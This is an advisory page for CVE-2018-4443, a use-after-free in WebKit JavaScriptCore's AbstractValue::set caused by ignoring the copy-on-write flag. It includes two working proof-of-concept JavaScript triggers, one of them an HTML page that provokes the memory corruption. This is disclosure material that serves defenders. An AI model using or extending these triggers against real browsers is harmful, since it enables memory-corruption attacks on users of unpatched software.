WebKit JSC AbstractValue::set Use-After-Free

2018.12.29
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

WebKit: JSC: A bug in AbstractValue::set CVE-2018-4443 void AbstractValue::set(Graph& graph, RegisteredStructure structure) { RELEASE_ASSERT(structure); m_structure = structure; m_arrayModes = asArrayModes(structure->indexingType()); m_type = speculationFromStructure(structure.get()); m_value = JSValue(); checkConsistency(); assertIsRegistered(graph); } It works out m_arrayModes using structure->indexingType() instead of structure->indexingMode(). As structure->indexingType() masks out the CopyOnWrite flag, which indicates that the butterfly of the array is immutable, needing copy-on-write, the wrong information about the array can be propagated. As a result, it's able to write into the immutable butterfly (JSImmutableButterfly) of a CoW array. And this can lead to UaF as writing into an immutable butterfly can be used to bypass write barriers. I also noticed that the most calls to asArrayModes are using structure->indexingType(). I think that those should be fixed too. PoC: // ./jsc --useConcurrentJIT=false ~/test.js function set(arr, value) { arr[0] = value; } function getImmutableArrayOrSet(get, value) { let arr = [1]; if (get) return arr; set(arr, value); // This inlinee is for having checkArray not take the paths using the structure comparison. set({}, 1); } function main() { getImmutableArrayOrSet(true); for (let i = 0; i < 100; i++) { getImmutableArrayOrSet(false, {}); } let arr = getImmutableArrayOrSet(true); print(arr[0] === 1); } main(); PoC 2 (UaF): <script> function sleep(ms) { let s = new Date(); while (new Date() - s < ms) { } } function mark() { for (let i = 0; i < 40; i++) { new ArrayBuffer(1024 * 1024 * 1); } } function set(arr, value) { arr[0] = value; } function getImmutableArrayOrSet(get, value) { let arr = [1]; if (get) return arr; set(arr, value); set({}, 1); } function main() { getImmutableArrayOrSet(true); for (let i = 0; i < 10000; i++) getImmutableArrayOrSet(false, {}); sleep(500); let arr = getImmutableArrayOrSet(true); mark(); getImmutableArrayOrSet(false, []); mark(); setTimeout(() => { try { alert(arr[0]); } catch (e) { alert(e); } }, 200); } main(); </script> This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public. Found by: lokihardt


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top